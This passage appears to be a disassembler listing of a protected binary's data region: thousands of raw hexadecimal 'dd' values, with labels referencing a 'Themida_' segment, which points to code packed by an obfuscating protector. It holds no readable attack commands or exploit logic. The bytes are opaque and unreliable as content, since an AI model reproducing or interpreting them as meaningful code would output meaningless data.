1768h, 0B9E4805Fh, 8960338Bh dd 1402F9BDh, 0F2816606h, 8161946Ch, 0F90202EEh, 0BFF5601Dh dd 54D23B7Dh, 6DC68161h, 8B057492h, 66F681C8h, 810E0006h dd 3125AFE0h, 3338945h, 142C6585h, 0BFEB8106h, 0F0FF384h dd 585h, 0CF48B900h, 0C381748Bh, 0FF384BBh, 1EF83F5h, 0FFA6850Fh dd 8B0FFFFFh, 1Fh, 198A0Fh, 13E80000h, 0D2000000h, 0EFEF1F8Fh dd 0F16E333Fh, 0BD8FE03Dh, 8154FDB0h, 0E8596DD0h, 10h dd 0B3BA5B0Bh, 0AA32F49h, 0E8A7160Fh, 0B784401Ah, 21E78166h dd 0C1815970h, 5BC3h, 3CD952Bh, 0CF680614h, 0F000016h dd 87h, 0BF665800h, 198BB313h, 540ABF66h, 7E8BEB81h, 8D895CF0h dd 614306Dh, 7983C381h, 98B26211h, 17F5C381h, 840F7E1Ah dd 6, 31A5BD8Bh, 19890614h, 0E981F38Bh, 31AF55EFh, 0CDD9D89h dd 0C1810614h, 31AF55EBh, 25B59D89h, 0E8810614h, 1, 0FFAC850Fh dd 8166FFFFh, 8D8B5AF6h, 1AEBAE8Dh, 56006A06h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1704h, 0C3564600h, 24C526D3h dd 68F0Fh, 0CE810000h, 123ABDBAh, 32298D89h, 6A0614h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h dd 17C12DC3h, 85C7DCB4h, 614064Dh, 751Ch, 267185C7h, 614h dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h dd 53430000h, 438974C3h, 4ACD1B9Bh, 0B5899021h, 6140621h dd 0D49B5FFh, 6A0614h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1C0424h, 56460000h, 27C38EC3h, 33FDC9DEh, 0FFF90CA4h dd 14236195h, 10E96006h, 0EF000000h, 8860C9ABh, 8D1F3D76h dd 2B5E176Dh, 61E22958h, 31458D89h, 6A0614h, 116995FFh dd 0C08B0614h, 477849EBh, 0E19FEA71h, 0F8092D86h, 0B347CAA5h dd 0BEB36144h, 0E09FA3F2h, 33A64BD1h, 0FC20CE27h, 0F04D2C5h dd 87B761E0h, 9B3E5B3Fh, 0C189B2B4h, 0D93419DBh, 14536AE2h dd 70B97194h, 0AAAE259Eh, 995B00EFh, 3A8D9A66h, 0E88BDA07h dd 6, 1BA31EFh, 0A8B2D7ACh, 81EFB05Fh, 5FE3C7h, 6880F00h dd 31000000h, 1434CD85h, 0E8F63306h, 12h, 0C1C8B022h, 576DCDE4h dd 7DC1D3C6h, 6FD55D29h, 860F2294h, 6, 0CBCCCB81h, 0FF5847D2h dd 9573E34h, 140965BDh, 1595B06h, 1403699Dh, 0A2C18106h dd 8B26C68Fh, 14348D85h, 0C8C18106h, 8137D917h, 0E352C3F1h dd 9E96Ah, 4B080000h, 0ADD0410Fh, 512D1695h, 48FC38Bh dd 0CE937h, 0B49F0000h, 0AA1E2C6h, 0CEDF62F5h, 10E8E488h db 3 dup(0) byte_5B7877 db 6Fh ; DATA XREF: Themida_:0054B1C0o dd 3701C72Ah, 0F3048656h, 461D7B48h, 0E9ECBACAh, 8, 0BE7E8C66h dd 1B13C697h, 1EE835Ah, 4EDF8B66h, 81FC4E4Eh, 0FFA0F0FEh dd 78850FFFh, 0FFFFFFFh, 68Fh, 9D858B00h, 0E8061419h, 5 dd 7811B8D6h, 8212BB2Bh, 8B5E4E64h, 14022DBDh, 0B0C68106h dd 6000005Ah, 25E19589h, 8B0F0614h, 3, 61DE8B66h, 168568h dd 0E19D2300h, 5806140Eh, 0A880Fh, 56600000h, 99958959h dd 6106141Bh, 0F9600E8Bh, 78A3B966h, 7AE98161h, 897DEAA9h dd 1416ED95h, 81E98106h, 0F3FBEE6h, 287h, 8173B200h, 0D4A2BEE9h dd 21958B59h, 8906140Bh, 0C195290Eh, 81061429h, 0C0195AEEh dd 1D958921h, 81061426h, 0C01956C6h, 55958B21h, 48061400h dd 0FFAA850Fh, 880FFFFFh, 0 dd 5E8h, 29C7C200h, 0BF663D67h, 0FC5894FCh, 6195C081h dd 958B0000h, 614257Dh, 0B9h, 0BE900h, 0CF380000h, 3186FD1Ah dd 89CE0EB3h, 134FF15h, 5BF08B66h, 6E9h, 0B0EA2800h, 8182A580h dd 0FA504DC3h, 13E932h, 0CF560000h, 0F80DA368h, 961FA69h dd 0DED75744h, 0D37257B9h, 0B4EB81CDh, 0F23D2B4h, 0F381D7B7h dd 4C2E93Ch, 1C895A53h, 0E9BEFC08h, 830923D2h, 958B02E9h dd 614210Dh, 81664949h, 819A4CEAh, 0FF9EFCF9h, 9A850FFFh dd 66FFFFFFh, 0AC42FB8Bh, 2406A234h, 7D7AA27Ch, 318F3BB3h dd 2A218024h, 259083B4h, 25C46F30h, 98A78630h, 23068A11h dd 5A8D8930h, 0A6848630h, 31560F8Dh, 0A12E8636h, 25908642h dd 3F1103F6h, 4D6A8024h, 0A9279C97h, 0C22DB2B1h, 0DAA0F1FDh dd 314EA785h, 0FEA40B36h, 0DA9691B0h, 0E3B80DE0h, 313EDFB5h dd 8C7AC836h, 0A48E53D4h, 166DA204h, 90BDA9A7h, 233592B9h dd 0A54B03BDh, 0F5B78027h, 359D7EBBh, 0CC128630h, 25098638h dd 2B018996h, 6C428630h, 0A02E4F3Bh, 0DA6F79C0h, 25488BD9h dd 5CB90B30h, 9D14927Dh, 25098635h, 980965CFh, 23586827h dd 0CBF40BBDh, 3728802Ah, 0ECEB615h, 0AC4247FFh, 2406A234h dd 7D7AA27Ch, 318F3BB3h, 2A218024h, 259083B4h, 25C46F30h dd 98A78630h, 0F305E983h, 22B9A4h, 1CE90000h, 26000000h dd 3BAAF0h, 5 dup(0) dd 0E9000000h, 8D9h, 0C416A933h, 7FD1ECE7h, 398B30A2h dd 0EE40795Ch, 0A5F7C611h, 73644C6Ch, 0B61BF84Ah, 4D4B103h dd 4A8C69BBh, 8B131F71h, 0CD69F85h, 51B8B358h, 34894A17h dd 0E7DEC105h, 716551F1h, 0A810498Bh, 4F9C9B04h, 348C3883h dd 6E4A9Ch, 310850h, 0C1D7E1B3h, 363C4271h, 57E5AD9Bh dd 2835E109h, 0DFBC0EAFh, 8F4714F7h, 0ACC0A62Ch, 0ACD45806h dd 9A46795Fh, 0F1FEAA42h, 0C68ED6E5h, 1A7FCBEFh, 75FB61FFh dd 5806258Fh, 0AA0FC6A3h, 0DF0EA6FEh, 0E39F0375h, 6655814Eh dd 11AA2C37h, 0B3E481BFh, 0A37AF8D9h, 0C0DC4E0Dh, 902BABFEh dd 6463C9F8h, 7A000000h, 8F43C512h, 0B35F5A77h, 7F2BC35Bh dd 0A2A86572h, 51F1E7BCh, 6410A8D0h, 94407B57h, 0C16D5087h dd 0E6CB87ABh, 7FB2D034h, 6A9926B2h, 0F345785Fh, 0EDEDB0B5h dd 294EFEh, 17650000h, 1308D4Ah, 30DCE1F6h, 0F1E807EAh dd 0D1719551h, 874CBC1Bh, 7C828A36h, 51F1E796h, 52EA82AAh dd 2D2200h, 12790000h, 0E8B0F8C5h, 0F1E7FCE2h, 0B9E81051h dd 0E825094Fh, 0A38751F1h, 338A4DE7h, 0ED3209E1h, 8B0B7E75h dd 4FFBE1E7h, 0E70F51F2h, 1339204Fh, 0E4B1F9A5h, 0C51DC9F2h dd 0B38A9096h, 0A957E539h, 19E5CBD1h, 0D1F95806h, 0C16D4E84h dd 1825D169h, 0E2B901BAh, 0D361F880h, 0A21BB864h, 0D7069EF6h dd 0D3E8EAC7h, 1AD1B27h, 2329F1B9h, 5806E33Dh, 6B207CAh dd 91C0E8AEh, 0FA08624Dh, 2026EE5Dh, 5E1B083Ah, 73F7264Eh dd 0A84A9F4Bh, 488A57EAh, 0F8A419BEh, 0CED908A0h, 0A08CF804h dd 9DCBBE65h, 7ED68239h, 1FFC4EE6h, 165C08B3h, 5E1B9220h dd 4AE2A0C4h, 0D3627488h, 1404B483h, 17712A7Ch, 9B81874Fh dd 0AF51F1E7h, 0E81B0187h, 572F51F1h, 0F1E86B51h, 0BF577F51h dd 6D1D8690h, 897F5825h, 6FC7734Ah, 0B3C1A8D7h, 0F7C412CAh dd 0B1540DCEh, 1EDE5C4h, 575Ah, 4A177100h, 2A822E8Bh, 1AC6F5DDh dd 208993C2h, 0E5B304B3h, 0DA221D8Eh, 0F2C2EED4h, 42DA0251h dd 0E3401719h, 54298471h, 3E444A79h, 51F1FB58h, 171B446Ch dd 8C4A176Eh, 0FC2B832Fh, 0B1DAE1F1h, 0DFC14017h, 7AEDA9A2h dd 55AC120Ch, 12412CAFh, 53115E05h, 68000000h, 0B4FCAA13h dd 381E24ECh, 4C51F1E8h, 0E7B89E24h, 0F4CC51F1h, 0F1E808EEh dd 5CF41C51h, 1117462Dh, 51F1E82Bh, 17C5EE54h, 91C7840h dd 0AFDE2AC2h, 401700A9h, 0C9E14800h, 1D285739h, 0F1BE06B5h dd 0D22AD6E5h, 4A10BCA3h, 0E7967C82h, 82AA51F1h, 0C4126C53h dd 6C434BF7h, 0A3B24FD1h, 8CD0FFFBh, 51F56D38h, 0F0492038h dd 71DF9157h, 0A489AC9h, 85D7E4F2h, 0E28E2FA8h, 73BB02D5h dd 0E38F2CA6h, 80F25C8Bh, 0FECB7E1Ch, 0ACB7E6D3h, 240922Bh dd 0FEE96263h, 439Bh, 0C5CB9300h, 51F682DFh, 0B59CCBF3h dd 4BF7C412h, 0E52DD13Fh, 3687501Dh, 0BF03328Ah, 57E500DCh dd 0AD7AC2EAh, 444A9229h, 5806015Eh, 0B11B4A72h, 0E28E2FA4h dd 0EBA01D5h, 5554F6DAh, 0E51F3B9Fh, 0BF78CAF1h, 4BF7C412h dd 0E52DD13Fh, 0EA40C018h, 14FA7BB6h, 1E7622BAh, 0AB605D1h dd 0B57D83B2h, 6B720EDh, 967C025Ah, 0AA51F2B2h, 140F5382h dd 4257E5E2h, 19F0C81Ah, 98FEEE23h, 0F8DB2808h, 4B8B96C5h dd 0B6512870h, 480E7348h, 0BF056F9Eh, 0DA1808BAh, 629AB81Ch dd 18F54774h, 4551FDBEh, 0D9DF27D7h, 0E26C0BB2h, 0F6CE2048h dd 0C42282Eh, 2E56E28Dh, 0AA1318FFh, 0CAB3D3FCh, 0AFF7C412h dd 38617FD8h, 0B0FD0DA5h, 81689728h, 63494F17h, 7751F1E8h dd 3810204Fh, 2655686Bh, 0E5C4B13Fh, 515A01EDh, 52000000h dd 19B94D85h, 69EF6A2h, 0BEAB025Ah, 8F5F9FDDh, 134F3665h dd 0E7B4FCAAh, 0FFBC1AEAh, 0B763FB53h, 1749305Fh, 0F1E82B11h dd 1583F51h, 3650E233h, 0F987AF31h, 20F480A2h, 6E175F88h dd 454BC012h, 51F1E85Fh, 8AB34B73h, 20116910h, 68000000h dd 0D3FCAA13h, 0E82B1117h, 0EE5451F1h, 126E17C5h, 10D2FBC0h dd 967C824Ah, 0AA51F1E7h, 126C5382h, 0D8AFF7C4h, 0A9C419E3h dd 60CAF99Eh, 10C39058h, 23A901ADh, 51F2363Dh, 8D737951h dd 0A151F235h, 3E94E179h, 4A79D17Dh, 0F5B6B206h, 0C4EB251h dd 60A630FDh, 459D4972h, 63737EADh, 0F58D30A3h, 0F711C6A3h dd 19461FE1h, 4C31B49Fh, 2B805DB4h, 78DAE861h, 0B02734E0h dd 8BEF610Dh, 1BA235CFh, 0D8DA8BC9h, 3824FEE9h, 3B000000h dd 4147C412h, 51F1E85Bh, 3AF476Fh, 1A2689F7h, 7B95F7E0h dd 252B730Bh, 57E56B6Ah, 0B108C996h, 0FA7EAD05h, 4CB026D2h dd 0DBE0F60Eh, 0C9DAB189h, 8756AAEAh, 125C4372h, 0B72138C4h dd 0B61BFC2h, 4DBBC773h, 458C59A1h, 393F4574h, 57E5F1E6h dd 0A42FFCD4h, 0D2AD9319h, 99C15806h, 0F6C61542h, 10A8FA08h dd 0AA1305BEh, 0CAB3D3FCh, 9542C412h, 8C247C28h, 0B1540D63h dd 1EDE5C4h, 405Ah, 0AA137100h, 4F17D3FCh, 0B0B65382h dd 51F1E7CAh, 0EF1EB6DEh, 0F1E7C5ABh, 88B1D951h, 0C0126E17h dd 6910D2FBh, 63494F17h, 7751F1E8h, 4114204Fh, 4C000000h dd 0E7987E84h, 0CFAC51F1h, 0F120B803h, 8E4A170Ah, 0FE2D8531h dd 0B2DB8BF4h, 50824F17h, 12F83C6Bh, 3B51F1E8h, 6E17ACD5h dd 0B3FBC012h, 7B41EEBh, 0F1E79B81h, 5887AF51h, 7D4A1071h dd 4C336259h, 4BF7C412h, 8F757B43h, 0A351F1E7h, 472D337Bh dd 5B51F1E8h, 6CC00433h, 6C51F568h, 24B24A08h, 0C7784F97h dd 0BFC12010h, 0C5A2B2E1h, 0F2FEAA11h, 0CC94DC84h, 0B6E5D8FFh dd 0E953A372h, 0FF517957h, 0FCAA1346h, 29C4DDB4h, 9EC0A6ACh dd 0ACD451F2h, 0A3B3DD55h, 0F279B79Dh, 0BA3CB51h, 4A17F5DCh dd 9B053489h, 0F7C412B2h, 0B1540DCEh, 1EDE5C4h, 495Ah dd 0AA137100h, 1117D3FCh, 51F1E82Bh, 17EE173Fh, 433884Ah dd 4A1755FEh, 2A822E8Bh, 98C7F6DDh, 1CB7458Dh, 0F8DEE4BBh dd 0C51F20Bh, 81278DE4h, 10F821B9h, 67567D4Ah, 952AAEBBh dd 0ACF991E9h, 80679627h, 3511h, 0AA136800h, 832F8A47h dd 176A932Bh, 22F34140h, 0D201A0E1h, 66E0C6CCh, 0A57251F2h dd 0D6E38F2Eh, 0BA12BEFBh, 1E84F322h, 126E17F5h, 10D2FBC0h dd 65547D4Ah, 0C4124F36h, 0F5E2AFF7h, 0E141CC8h, 51F1E828h dd 4D7C143Ch, 68499DE3h, 0E54951F5h, 74478FA5h, 2A914522h dd 5C04727Eh, 821B0E14h, 6C4957E9h, 4FA7536Ch, 79986FB7h dd 7AEDBA95h, 8154A08Eh, 0A139266Fh, 13A96272h, 0B3D3FCAAh dd 0F7C412CAh, 0B1540DCEh, 1EDE5C4h, 615Ah, 4A177100h dd 76832F8Ch, 7AC75F5Ch, 5CB4605Dh, 0CBA232Dh, 0FE4017E3h dd 7544914Eh, 0F9B6191Eh, 0F2310DF3h, 61F92151h, 40262C32h dd 5451F231h, 161CE42Ch, 51F23130h, 0F5A118BDh, 80AFD79Dh dd 176E1799h, 0E12E8B4Ah, 0C31BC7F6h, 72498994h, 734A1049h dd 5CDF850Eh, 0CEB5E4CDh, 2611h, 0AA136800h, 4017D3FCh dd 0CC327F51h, 0F4055C89h, 0B5540DF0h, 11171D4Ch, 51F21C2Bh dd 17C5EE54h, 0FBC0126Eh, 126910D2h, 3F4BF7C4h, 0DFE52DD1h dd 57E50A40h, 339F6C34h, 0FE84DC88h, 58060A18h, 9BEA4AAh dd 0AAD25806h, 6E74BCE4h, 58060A88h, 0C145749Ch, 0FD6B4799h dd 21030951h, 2D5DFF1Ah, 89515905h, 20F99D83h, 3C89B15Eh dd 0ECF72697h, 0A27FD1EAh, 723F8734h, 0A1AE5A5Fh, 0BEED8534h dd 22B0E54h, 0E5497B71h, 11C794A5h, 7BAA02AEh, 3556670h dd 775D632Bh dd 8B9BD102h, 0AD293463h, 8055620Eh, 51808D39h, 0C2DD67A9h dd 5BF37257h, 8C31A2AFh, 44066AE0h, 0B9C9AFB5h, 0B5DD9BD1h dd 0A4E6881Dh, 23754690h, 7F2B9046h, 1671h, 0DBE1A900h dd 9BD1B9F5h, 0CBB2E109h, 2FA4017h, 0F06DD08Bh, 122188C1h dd 3C49F5CAh, 6875219Ah, 96A34F70h, 0C5D27E3Bh, 0F2FFAB12h dd 1F2CD8E5h, 4A5703B6h, 7A873388h, 33B86459h, 7D4868h dd 24048900h, 66BB68h, 242C8900h, 62568h, 243C8900h, 403ABF57h dd 0CF812273h, 4E3910BFh, 7537EF81h, 0F7812110h, 4B7034A9h dd 89FA8952h, 685F5AD5h, 1181h, 83242489h, 5F042404h, 4EC81h dd 2C890000h, 8478F24h, 5F2434FFh, 4C481h, 34FF0000h, 0C4835D24h dd 862DE904h, 64ACFFF9h, 0B9962B5Ch, 0F78DB8DFh, 0C503061Ah dd 1B68E0FFh, 79081725h, 6E3F5C23h, 49214C8h, 70DF5ED4h dd 0C8BE604Eh, 0B5061033h, 58E0C24h, 9AB969FEh, 7E83CC1h dd 0C000000h, 0D13083D8h, 840F147Bh, 3, 5EDA8B66h, 0C681F48Ah dd 6988h, 0A1CF8166h, 6865h, 0B2580000h, 3034FF8Fh, 10E959h dd 5C6B0000h, 0A15C3A20h, 0EB79223Ch, 0E96E9B88h, 0C181D992h dd 349964F9h, 81C8CE80h, 0AC1A9EE9h, 0CCC18165h, 0BB75DE9Fh dd 52D81587h, 66060C89h, 8311DBBFh, 8B6602E8h, 664848F8h dd 0F881D88Bh, 0FFFF96ECh, 0FFAF850Fh, 8DFCFFFFh, 1AF96F8Dh dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1604h dd 0C3564600h, 0FDFFEB1h, 0D78AF0BFh, 32298D89h, 6A0614h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h dd 0D1A9B6C3h, 881B38D2h, 4D85C72Bh, 0CC061406h, 8B00005Bh dd 140CC585h, 7185C706h, 61426h, 89000000h, 141A899Dh dd 0E2DF8006h, 2E1B5FFh, 8D890614h, 6142591h, 236195FFh dd 6A0614h, 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h dd 50400000h, 8FBB1BC3h, 0A921556Eh, 0FBA6E5Ah, 0F8Fh dd 0AE900h, 0FE030000h, 96070639h, 3EC9B1BDh, 6AF8BF0Fh dd 6995FF00h db 11h, 14h word_5B854E dw 8B06h ; DATA XREF: Themida_:0054B170o dd 0CD1DEBC0h, 660A08EDh, 70F80EB5h, 3F4D3947h, 0EB906041h dd 0E761B0F1h, 2F7D1792h, 91BEF017h, 0FA648D8Dh, 10E8061Ah dd 9E000000h, 0D4BD8B9Eh, 0EA7F2113h, 0E8ECEB3Dh, 0E8B25229h dd 5, 36599269h, 10E934h, 0FE310000h, 2BB3BC5Fh, 8786EB1Fh dd 53D9F7C4h, 5858F2CDh, 28A0Fh, 0F38B0000h, 32298D89h dd 6A0614h, 3E850h, 58200000h, 448958C3h, 44810424h, 170424h dd 50400000h, 0E68748C3h, 0C77DB31Eh, 14064D85h, 584C06h dd 459D2B00h, 0C7061409h, 14267185h, 6, 55006A00h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1804h, 0C3554500h dd 978032E3h, 0E59D31A8h, 0FF061412h, 1406A5B5h, 6195FF06h dd 0E9061423h, 10h, 30D942F0h, 1F863357h, 2999945Ch, 0B60D4991h dd 95FF006Ah, 6141169h, 1EEBC08Bh, 0FC030318h, 0AA54B0DEh dd 0FBF9E3CDh, 1F62B562h, 0BA9D0498h, 0E8FD9CE5h, 0A05E0AD0h dd 0EE838FEh, 0D6000000h, 5AC12607h, 0CA240A96h, 7E1F9820h dd 9589526Fh, 6140361h, 0B5895B58h, 61408C1h, 5C87C381h dd 0B5890000h, 6142CF9h, 0BD31D22Bh, 61424BDh, 8B133C8Bh dd 14223585h, 28EF8106h, 8B46C3ACh, 142AD98Dh, 42F78106h dd 0F4B0FF3h, 0F781C6B7h, 4A555EE1h, 8B57F38Bh, 13048FC2h dd 23D99D89h, 0B58B0614h, 614210Dh, 2FDEA81h, 850947D4h dd 6142069h, 2F9C281h, 0C88147D4h, 45D84A09h, 0A420FA81h dd 850FFFFFh, 10h, 16A1B52Bh, 13E90614h, 1F000000h, 0C295F1B6h dd 0C14CB966h, 0FFFF8BE9h, 0E6E27DFFh, 8D8DCE43h, 61AFC01h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 79C35343h dd 8900F8BEh, 1432298Dh, 50006A06h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1404h, 0C3504000h, 4D85C793h, 10061406h dd 6600005Ah, 0C73FA2B8h, 14267185h, 6, 0E5858900h, 8906140Eh dd 1402A1B5h, 19B5FF06h, 6A061423h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 14042444h, 46000000h, 0FF75C356h dd 14236195h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1D04h, 0C3504000h, 31C62586h, 0D7C4E7F3h, 0C4B8A665h dd 8153307Bh, 192983D2h, 0FF006A55h, 14116995h, 0EBC08B06h dd 94D1931Eh, 1EBEA73Ch, 45E33995h, 0AFE1862Dh, 0FA93A978h dd 0D2AE1D93h, 0B5030ABFh, 8DBA95F9h, 1AFCCF8Dh, 0EC91B806h dd 9D290BFFh, 614263Dh, 32298D89h, 6A0614h, 3E850h, 58200000h dd 448958C3h, 44810424h, 150424h, 50400000h, 8B1C6FC3h dd 1400E585h, 4D85C706h, 94061406h, 2B00005Fh, 142C81B5h dd 7185C706h, 61426h, 0FF000000h, 140591B5h, 29BD8906h dd 0FF061430h, 14236195h, 50006A06h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1D04h, 0C3504000h, 5E013A5h, 77C081E4h dd 0EE9AF34h, 35000000h, 0BDFADD15h, 6008138Dh, 26F7CBD1h dd 158D8971h, 6A061403h, 6995FF00h, 8B061411h, 577FEBC0h dd 60457C61h, 14710974h, 0C3C4E3C2h, 8A3F5D5h, 33935010h dd 1A1EFD62h, 0CA0B6CA6h, 8BDCD24Dh, 7E8E85ABh, 4FF69C48h dd 95A243DAh, 3B3EFBB5h, 0C41C5753h, 0CB5AF4EAh, 0BC706786h dd 94D2B5D2h, 5E47EFE7h, 58D10F5Bh, 3113E4DFh, 37DFE116h dd 0DEF79354h, 6D50AA59h, 85E439BCh, 2D40B921h, 7BFDC153h dd 0B12F0h, 14A51A67h, 0E194C4D6h, 4EF7836Dh, 0F6D50A81h dd 0DC4BF756h, 5E81332h, 76000000h, 0CDBDBA05h, 958959FCh dd 6141039h, 6A69C181h, 858B0000h, 6140F49h, 1A5DBEh, 0DDBD8B00h dd 0FF061422h, 0C2B70F31h, 67BF665Bh, 25F3816Bh, 0E9350CD2h dd 0Fh, 0F31D56ACh, 0F6363B73h, 31C0EB71h, 81037725h, 9ABA32EBh dd 69C88159h, 814549A9h, 3D6DE2F3h, 6DBD8B00h, 89061406h dd 148E0F19h, 0E9000000h, 0Fh, 8AD3014Bh, 346D98EEh, 0B7243DCDh dd 8182D050h, 26E543E9h, 0CE85Fh, 198C0000h, 0DB3B86C7h dd 601D4FBh, 0AE9DC1Fh, 0FF000000h, 0F0854D4Fh, 0B9C752BCh dd 0C1815AFEh, 5F26E53Fh, 0FE9h, 7B2BAF00h, 0D7CB71D6h dd 743C5372h, 0F6FC5B75h, 1F850F4Eh, 0E8000000h, 5, 847CEA7Ch dd 6D8589B3h, 5F061410h, 1FE9h, 68B5F000h, 0E82D3F89h dd 958B80E0h, 6140355h, 0FFFF36E9h, 8DD8FFh, 8546AE49h dd 0B04D103Bh, 0FEE58D8Dh, 0AE9061Ah, 68000000h, 59B5E3A9h dd 8DB81257h, 1DDF8160h, 894376FDh, 1432298Dh, 60525606h dd 0C75E5B61h, 14064D85h, 6D6006h, 0FDB52900h, 0C7061408h dd 14267185h, 6, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1A04h, 0C3564600h, 2E896999h, 0FF6F9157h dd 140C4DB5h, 0F18B6606h, 236195FFh, 880F0614h, 15h, 0F830Fh dd 0AE90000h, 9D000000h, 5670E121h, 0C7691FB9h, 0FF006A56h dd 14116995h, 0EBC08B06h, 827AD94Ah, 0B8281FF2h, 0E443C463h dd 8D67F9F7h, 0FF6E19C5h, 0E7555CAEh, 37E01506h, 0A1F6E66Fh dd 2A91B856h, 0FFF91F09h, 65361803h, 9932B29Fh, 9916B9EFh dd 0B3996E4Bh, 9CE40A56h, 787401B2h, 0E55DB9B4h, 0DA9C4C65h dd 8DBC7D12h, 1AFFCE8Dh, 0DD958906h, 0F9061400h, 32298D89h dd 6A0614h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h dd 51410000h, 0BEEC01C3h, 3880ED75h, 34DD8531h, 85C70614h dd 614064Dh, 6DE4h, 73F78166h, 7185C767h, 61426h, 8B000000h dd 14039D85h, 0DB5FF06h, 0F061422h, 284h, 0FFD18A00h, 14236195h dd 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1A04h dd 0C3554500h, 6143EF03h, 6688D670h, 6AD88Bh, 116995FFh dd 0C08B0614h, 63F07EEBh, 3205BEFCh, 684EAC02h, 42957138h dd 5510F34Ch, 0F0807573h, 0CF2EF1E1h, 0F9D04D30h, 4813CDDAh dd 69D12E9Bh, 253EDDB1h, 3912DE8Eh, 2B7DFB62h, 0D20F0671h dd 467C0C16h, 4C561D4Bh, 0D2B84127h, 301120D9h, 23B1979Fh dd 15B4C4F6h, 11291986h, 0D3994E9Fh, 7AABAA42h, 3211B28Ch dd 0A1645F36h, 21C370B4h, 4ECC70Fh, 3A747BF1h, 1D92E5B8h dd 0FF1F5F97h, 38574F29h, 3B5112A6h, 15FE9h, 0D48B5200h dd 0E860h, 815D0000h, 1B005FEDh, 8428B06h, 2638453Dh, 38850F78h dd 8B000001h, 4A8B0C42h, 0BBC8D318h, 8841BF62h, 0E883C333h dd 29858904h, 8B061432h, 0F88B0458h, 8B10428Bh, 0C8D3184Ah dd 5137EBEh, 2BC6339Ch, 0FCE083C7h, 8904E883h, 14064D85h dd 14428B06h, 26718589h, 428B0614h, 0B0E95318h, 0FF000000h dd 140591B5h, 0B9E906h, 0B5FF0000h, 61414ADh, 0AEE9h, 1B5FF00h dd 0E9061416h, 0A3h, 2E91B5FFh, 98E90614h, 0FF000000h dd 1406A5B5h, 8DE906h, 0B5FF0000h, 61402E1h, 82E9h, 4DB5FF00h dd 0E906140Ch, 77h, 1071B5FFh, 6CE90614h, 0FF000000h, 140D49B5h dd 61E906h, 0B5FF0000h, 6142319h, 56E9h, 99B5FF00h, 0E9061430h dd 4Bh, 669B5FFh, 40E90614h, 0FF000000h, 14220DB5h, 35E906h dd 0B5FF0000h, 61400D5h, 2AE9h, 95B5FF00h, 0E906142Ch dd 1Fh, 2111B5FFh, 14E90614h, 8B000000h dd 0BB8D8h, 0F7660000h, 0C08D8DE3h, 3061B00h, 0FFE1FFC8h dd 14236195h, 858B5B06h, 6143229h, 0F045839h, 0F85h, 16A5300h dd 116995FFh, 0E95B0614h, 0FFFFFFE2h, 61C35A61h, 0C96AB85Ah dd 0E0FF77D4h, 1509858Bh, 8D8D0614h, 61B01AEh, 8B014189h dd 5985C6C3h, 5606141Ah, 0C530DF68h, 0D1B5FFA9h, 8D06141Ah dd 1780DB85h, 8DD0FF06h, 1400958Dh, 406A5106h, 0BDDB5FFh dd 0B5FF0614h, 6142B21h, 0B5FFD0FFh, 6140BDDh, 2B21B5FFh dd 0CE80614h, 0D0000000h, 0B3176883h, 96F40694h, 5A82B07Ch dd 4EA835Ah, 2242CC1h, 22424C1h, 0F7241403h, 0B9241Ch dd 0FF000000h, 815E1134h, 1CEBA4F6h, 0EDEE816Fh, 812CD348h dd 3B9979EEh, 48F564Ah, 4E9830Ah, 0F240C3Bh, 0FFFFDA85h dd 359D8DFFh, 8B061411h, 0FC00B03h, 784h, 8B038B00h, 1889045Bh dd 7E8C98Bh, 73000000h, 4DAB9388h, 10E9DEA9h, 6B000000h dd 9194F4CCh, 0E4F8928Eh, 0BD03D24Ah, 58562A1Ch, 0B890Fh dd 80600000h, 8A0F18CEh, 0 aAbBc db 'a│юBc',0 dw 0F00h dd 58Fh, 0EF816600h, 0B9220Dh, 60000000h, 8A0F51h, 5B000000h dd 61CFB70Fh, 0E808348Bh, 14h, 0DED8818Ch, 0FC246434h dd 92E480E9h, 5096A0C6h, 0D1AA9039h, 5E9h, 2514A200h, 815BA97Ch dd 0D770F6h, 21B4601Eh, 3170EBB8h, 0F681616Fh, 6C97A029h dd 8AEE81F5h, 8A7A259Eh, 83489D0h, 1923BB66h, 0E9819BB7h dd 7D2D1240h, 81DEB70Fh, 2D123CC1h, 0DA81527Dh, 84DEA50h dd 0B8F9815Fh, 0FFFFF9Dh, 0E85h, 0E9D78B00h, 35h, 9646F189h dd 0E98995AEh, 13h, 6FBA1F74h, 0F6E41423h, 5C350607h, 8970DA4Ah dd 0E93BDA17h, 0FFFFFF64h, 2D39E78Eh, 352D7A32h, 27AC71B1h dd 0EB8FFEE1h, 0E4E956h, 0F0F40000h, 9CD73E21h, 0C8C3CA45h dd 0ABDAB6E1h, 0B395A7ACh, 0A1F44592h, 0DA00B395h, 20A7ECABh dd 6BB2915Dh, 2096B1F4h, 9B552075h, 0BCF26BB7h, 0A19692A5h dd 603A7594h, 329FB799h, 0E9B599BDh, 92A59CB2h, 95ACA3F2h dd 97B1EF76h db 0 byte_5B8F9D db 4Eh, 0F9h, 0B4h ; DATA XREF: Themida_:0054BCC0o dd 5C009FA5h, 4AF07B6Bh, 0D0008A92h, 0F545F352h, 79A3F653h dd 0F144D6D9h, 0F445E3AFh, 0D77D41h, 0BF9792B0h, 60FD756Bh dd 0F996BFCFh, 20B293BCh, 9B57207Dh, 9492ABF7h, 0E3B29EBDh dd 0E0CE9DBCh, 728F899Bh, 0A9FD8F9Dh, 0F66DB4EEh, 93BCE1B6h dd 97B3ED72h, 0F1B6D000h, 0F0A8CD43h, 0 dd 9D744700h, 99E0E312h, 5Eh, 0Ah dup(0) dd 0ADE90000h, 68000014h, 61B0661h, 0F979BAE9h, 77668FFh dd 0B0E9061Bh, 68FFF979h, 